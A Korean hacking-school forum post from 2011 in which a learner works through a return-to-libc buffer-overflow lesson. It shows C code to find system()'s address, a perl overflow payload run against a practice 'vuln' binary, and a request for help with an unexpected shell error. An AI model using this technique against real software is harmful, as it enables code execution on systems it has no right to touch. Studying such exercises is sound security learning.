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http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1549 [복사]
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[student@localhost chapter_21]$ /bin/bash2
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[student@localhost chapter_21]$ export PATH=$PATH:.
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[student@localhost chapter_21]$ cat > addr_of_system.c
#include <dlfcn.h>
int main()
{
long addr;
void *handle;
handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
addr = (long)dlsym(handle, "system");
printf("system() is at 0x%x\n", addr);
}
(컨트럴+D 입력)
[student@localhost chapter_21]$
[student@localhost chapter_21]$ gcc -o ./addr_of_system addr_of_system.c -lc -ldl
[student@localhost chapter_21]$ ./addr_of_system
system() is at 0x40058ae0
[student@localhost chapter_21]$
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-> system의 주소를 알아낸 뒤
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[student@localhost chapter_21]$ ./vuln `perl -e 'printf "A"x84 . "\xe0\x8a\x05\x40"'`
your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@
sh: ?풠?? command not found
Segmentation fault
[student@localhost chapter_21]$
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위에 명령을 쳤을때 강좌에서는 위 처럼 뜨는데 반해 저는 아래와같은 문구가 뜹니다.
your input is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(이상한 문자)
sh: syntax error near unexpercted token '(이상한문자)'
sh: -c: line 1: '(이상한문자)'
Segmentation fault
어떻게 해야 강좌처럼 될 까요? |
Hit : 4056 Date : 2011/12/13 03:05
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